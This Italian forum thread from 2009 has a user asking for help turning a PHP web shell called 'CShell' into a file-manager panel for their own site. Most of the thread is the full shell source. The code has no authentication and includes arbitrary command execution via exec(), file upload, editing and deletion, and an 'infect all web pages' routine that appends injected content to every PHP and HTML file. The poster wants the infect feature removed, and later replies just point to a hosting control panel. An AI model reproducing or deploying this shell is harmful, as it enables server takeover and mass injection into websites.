[php]modificare un file per Amministrare il sito via php

21-03-2009, 17.47.46

Ciao ragazzi mi servirebbe una mano...
Col Php dovrei modificare lo script ideato da gabryhacker
In poche parole e una schell che serve a controllare in proprio sito...
Ma dovrei apportare alcune modifiche e ora vi spiego bene...

Vi posto i punti dove mi servirebbe una mano per modificarlo…
1)Dovrei eliminare nello script
Esegui un comando ed Infetta tutte le pagine web
Per pulire il codice e non provocare danni ai file
2)Vorrei fare in modo che si possa modificare il nome al file
3)Mi sono accorto se ce una cartella e apri i file al interno crea un errore non riesce a leggere il nome della ma solo il nome del singolo file
4)mostrare la data del ultima modifica del file
5)la possibilità di selezionare un file tramite una casella di controllo per spostarlo da una cartella ad un'altra
6)la possibilità di creare una cartella o un file php,html,css o altro
tramite un pulsante.
7)sostituire dove ce azioni che compare elimina o modifica con un img a piacere..
Per capirci meglio…
Tipo un secondo panello di controllo come altervista con un file php pero…

Lo so che chiedo molto ma per me e molto importante..
Spero che mi diate una mano

Vi posto il codice

Grazie del aiuto

21-03-2009, 17.49.55

Scusate ma i caratteri non ci bastavano..

ecco il file php

Codice PHP:


<?php
error_reporting("E_ALL &~ E_NOTICE &~ E_WARNING");
/*
 * CShell
 * Shell in php by Crashinside
 * Copyright: opensource
 * L'autore declina ogni responsabilità sull'uso di questa shell.
 * Solo a scopo illustrativo
 * Versione: 1.5
 * News <1.4>: Aggiunte immagini di files e cartelle
 * News <1.5>: Si possono infettare tutte le pagine web
 * Un rigraziamento a blacklight <http://blacklight.gotdns.com> perchè ho seguito la sua shell per creare la mia
 * Un grazie anche a debug <http://debug.altervista.org> per avermi illuminato sul timer di generazione delle pagine
 * Un grazie anche a mamo139 <http://mamo139.altervista.org> per avermi aiutato nella navigazione nelle directory
 */
?>
<?php
function getMicrotime(){
   list($msec,$sec)=explode(" ",microtime());
   return ((float)$msec+(float)$sec);
}
$start = getMicrotime();
function delete_dir($dir) {
   if(!is_dir($dir)) {
      return 1;
   }
   $handle = @glob($dir."/*");
   for($i=0;$i<count($handle);$i++) {      
      if(is_dir($handle[$i]))
         delete_dir($handle[$i]);
      unlink($handle[$i]);
   }
   rmdir($dir);
   return (is_dir($dir)) ? 1 : 0;
}
function getPerms($f)  {
   //By blacklight, edit by me
   $mode = fileperms($f);
   $perm = '';
   $perm .= ($mode & 00400) ? 'r' : '-';
   $perm .= ($mode & 00200) ? 'w' : '-';
   $perm .= ($mode & 00100) ? 'x' : '-';
   $perm .= ($mode & 00040) ? 'r' : '-';
   $perm .= ($mode & 00020) ? 'w' : '-';
   $perm .= ($mode & 00010) ? 'x' : '-';
   $perm .= ($mode & 00004) ? 'r' : '-';
   $perm .= ($mode & 00002) ? 'w' : '-';
   $perm .= ($mode & 00001) ? 'x' : '-';
   return (is_dir($f)) ? "d".$perm : $perm;
}
function is_editable($f) {
   $exts = array('txt','php','html','xml','c','cpp','py','jsp','js','vbs','htaccess','css');
   $a = pathinfo($f);
   return (in_array($a['extension'], $exts)) ? 1 : 0;
}
function appr($num,$n) {
   settype($num, 'string');
   $a = explode(".",$num);
   $b = $a[1];
   settype($b,'string');
   $res = $a[0].".";
   for($i=0;$i<$n;$i++) {
      $res .= $b[$i];
   }
   return $res." kb";
}
function Actions($f,$dir,$e=1) {
   if($e == 1)
      return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a>&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=edit&file=".$f."\">E</a>";
   else
      return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=delete&file=".$f."\">D</a>";
}
function DirActs($dire,$dir) {
   return "<a href=\"".$_SERVER['PHP_SELF']."?dir=".$dir."&mode=deletedir&d=".$dire."\">D</a>";
}
$root = getcwd();
$dir = (isset($_GET['dir'])) ? $_GET['dir'] : getcwd();
$ext_b = array('php','html','htm','asp','jsp');
?>
<html>
   <head>
      <title>CShell -- Crashinside</title>
      <style type="text/css">
         p#title {
            font-size: 40;
            font-weight: bold;
            color: #666666;
            font-style: italic;
            text-align: center;
         }
         span#info {
            font-family: Courier;
            color: white;
         }
         body {
            background-color: black;
            color: white;
         }
         .text {
            background-color: transparent;
            color: white;
         }
         a {
            color: red;
            text-decoration: none;
         }
         a:hover {
            color: white;
            text-decoration: underline;
         }
      </style>
      <script type="text/javascript">
      function check(n) {
         switch(n) {
            case 0:
               if(document.forms[n].file.value != '') {
                  document.forms[0].submit();
               } else {
                  alert('Non hai messo il percorso al file!');
               }
            break;
            case 1:
               if(document.forms[1].cmd.value != '') {
                  document.forms[1].submit();
               } else {
                  alert('Scrivi un comando');
               }
            break;
            case 2:
                if(document.forms[2].txt.value != '') {
                  document.forms[2].submit();
               } else {
                  alert('Scrivi il testo');
               }
              break;
         }
      }
      </script>
      <!-- CShell by Crashihside -->
   </head>
   <body>
      <p id="title">CShell</p>
      <span id="info">
         Host: <?php print $_SERVER['SERVER_NAME']; ?><br>
         Server: <?php print $_SERVER['SERVER_SOFTWARE']; ?><br>
         <?php print (is_callable("php_uname")) ? "Sistema operativo: ".php_uname()."<br>" : ""; ?>
      </span>
      <pre>
      
      
      </pre>
      <form enctype="multipart/form-data" action="" name="files" method="post">
         <table border="0">
            <tr>
               <td>Carica un file:</td>
            </tr>
            <tr>
               <td><input class="text" type="file" name="file"></td>
            </tr>
            <tr>
               <td><input type="button" onclick="check(0)" value="Carica"></td>
            </tr>
         </table>
      </form>
      <?php
         if(isset($_FILES['file'])) {
            $name = basename($_FILES['file']['name']);
            if(move_uploaded_file($_FILES['file']['tmp_name'], $dir."/".$name)) {
               print "File caricato con successo.<br>";
               print "Nome: <b>".$name."</b><br>";
               print "Tipo: <i>".$_FILES['file']['type']."</i><br>";
               print "Dimensione: <b>".$_FILES['file']['size']."</b><br>";
            } else {
               print "Errori nell'upload del file";
            }
         }
      ?>
      <form action="" name="cmd" method="post">
         <table border="0">
            <tr>
               <td>Esegui un comando:</td>
            </tr>
            <tr>
               <td><input type="text" class="text" name="cmd"></td>
            </tr>
            <tr>   
               <td><input type="button" onclick="check(1)" value="Esegui">
            </tr>
         </table>
      </form>
      <form action="" name="infect" method="post">
          <table border="0">
            <tr>
                <td>Infetta tutte le pagine web</td>
            </tr>
            <tr>
                <td>Testo: <input name="txt" type="text" class="text"></td>
            </tr>
            <tr>
                <td><input type="button" value="Infetta" onclick="check(2)"></td>
            </tr>
          </table>
      </form>
      <?php
         if(isset($_POST['cmd'])) {
            $out = array();
            exec($_POST['cmd'],$out);
            print "<hr><i>Risultato del comando:<br>";
            foreach($out as $l)
               print $l."<br>";
         }
         if(isset($_POST['txt'])) {
            //fino alla fine dell'if lo script non è mio ma di Andreabont <andreabont@yahoo.it>
            //K//
            $path=__FILE__;$nme=explode("\\",$path);$nmec=count($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if(in_array($f2[($f2c - 1)], $ext_b)){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)];  if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen("$f","at");fputs($a,"\n<?php\n//K//\r\n?>".$_POST['txt']."<?php//K//\r\n?>");fclose($a);}}else{}}
            //K//
            print ($a) ? "Files infettati" : "Errore, non tutti i files potrebbero essere infettati";
        }
         if(isset($_GET['mode'])) {
            switch($_GET['mode']) {
               case "edit":
                  $f = file($dir."/".$_GET['file']);
                  print "<b>Edit file</b><br>";
                  print "<form action=\"\" method=\"post\" name=\"edit\">";
                  print "<textarea name=\"txt\" class=\"text\" cols=\"80\" rows=\"20\">";
                  foreach($f as $a)
                     print htmlentities($a);
                  print "</textarea><br>";
                  print "<input type=\"submit\" value=\"Salva\">";
                  print "</form>";
                  if(isset($_POST['txt'])) {
                     $f = fopen($_GET['file'], "w");
                     fputs($f, $_POST['txt']);
                     fclose($f);
                     print ($f) ? "File modificato con successo." : "Errore nella modifica del file";
                  }
               break;
               case "delete":
                  $a = unlink($dir."/".$_GET['file']);
                  print ($a) ? "File cancellato con successo" : "Errore nella cancellazione del file";
               break;
               case "deletedir":
                  $a = delete_dir($dir."/".$_GET['d']);
                  print ($a == 0) ? "Directory cancellata con successo" : "Errore nella cancellazione della directory";
               break;
            }
         }
      ?>
      <hr>
      Directory corrente: <b><?php echo ($root != $dir) ? $root."/".$dir : $dir; ?></b><br>
      <table border="0" width="50%">
         <?php
         if($root != $dir && $dir != "./") {
            $det = explode("/",$dir);
            $new = (sizeof($det) != 1) ? $det[sizeof($det)-2] : "./";
            echo "<tr>";
            echo "<td><img src=\"http://www.iconfinder.net/iconlib/nuove/22x22/actions/up.png\">&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".$new."\">Indietro</a></td>";
            echo "</tr>";
         }?>
         <tr>
            <td>Nome</td>
            <td>Permessi</td>
            <td>Dimensione</td>
            <td>Azioni</td>

21-03-2009, 17.51.13

Scusate ma i caratteri non ci bastavano..

continuo del file

Codice PHP:


         </tr>
         <?php
         $h = opendir($dir);
         while(false !== ($f = readdir($h))) {
            if($f != ".." && $f != "." && $f != "root.txt") {
               $a = pathinfo($f);
               if(!isset($a['extension']))
                  $dirs[] = $f;
               else
                  $files[] = $f;
            }
         }
         closedir($h);
         foreach($dirs as $dire) {
            echo "<tr>";
            echo "<td><img src=\"http://www.iconfinder.net/iconlib/nuove/16x16/apps/mydocuments.png\">&nbsp;<a href=\"".$_SERVER['PHP_SELF']."?dir=".(($root != $dir && $dir != "./") ? $dir."/".$dire : $dire)."\">".$dire."</a></td>";
            echo "<td>".getPerms($dir)."</td>";
            echo "<td>".appr((filesize($dir) / 1024), 2)."</td>";
            echo "<td>".DirActs($dire,$dir)."</td>";
            echo "</tr>";
         }
         foreach($files as $file) {
            $file2 = ($root != $dir && $dir != "./") ? $dir."/".$file : $file;
            echo "<tr>";
            echo "<td><img src=\"http://www.iconfinder.net/iconlib/CrystalClear/16x16/actions/filenew.png\">&nbsp;<a target=\"_blank\" href=\"".$file."\">".$file."</a></td>";
            echo "<td>".getPerms($file2)."</td>";
            echo "<td>".appr((filesize($file2) / 1024),2)."</td>";
            if(is_editable($file2))
               echo "<td>".Actions($file,$dir)."</td>";
            else
               echo "<td>".Actions($file,$dir,0)."</td>";
            echo "</tr>";
         }
      ?>
      </table>
      <small><?php
         $end = getMicrotime();
         print "Pagina generata in ".round($end - $start, 3)." secondi";
         ?></small>
   </body>
</html>

22-03-2009, 19.04.28

scusa se voi gestire il tuo sito non e meglio il panello di altervista ^^

22-03-2009, 19.09.13

In effetti col pannello di controllo di altervista puoi:
1) Creare files e cartelle
2) Rinominare i files
3) Spostare files e cartelle all'interno di altre cartelle
4) Tante altre cose...

E funziona perfettamente

Per ora io definisco il pannello di AV il mio CMS anche se ne sto facendo uno apposta per me...

Saluti!

22-03-2009, 19.13.40

Originalmente inviato da nokiagames

In effetti col pannello di controllo di altervista puoi:
1) Creare files e cartelle
2) Rinominare i files
3) Spostare files e cartelle all'interno di altre cartelle
4) Tante altre cose...

E funziona perfettamente

Per ora io definisco il pannello di AV il mio CMS anche se ne sto facendo uno apposta per me...

Saluti!

Si lo so.. ma ne volevo creare uno apposta per me
con queste qualità..

Qualcuno puo darmi una mano

Discussione: [php]modificare un file per Amministrare il sito via php

LinkBack

Strumenti discussione

Display

[php]modificare un file per Amministrare il sito via php

Tags for this Thread

Regole di scrittura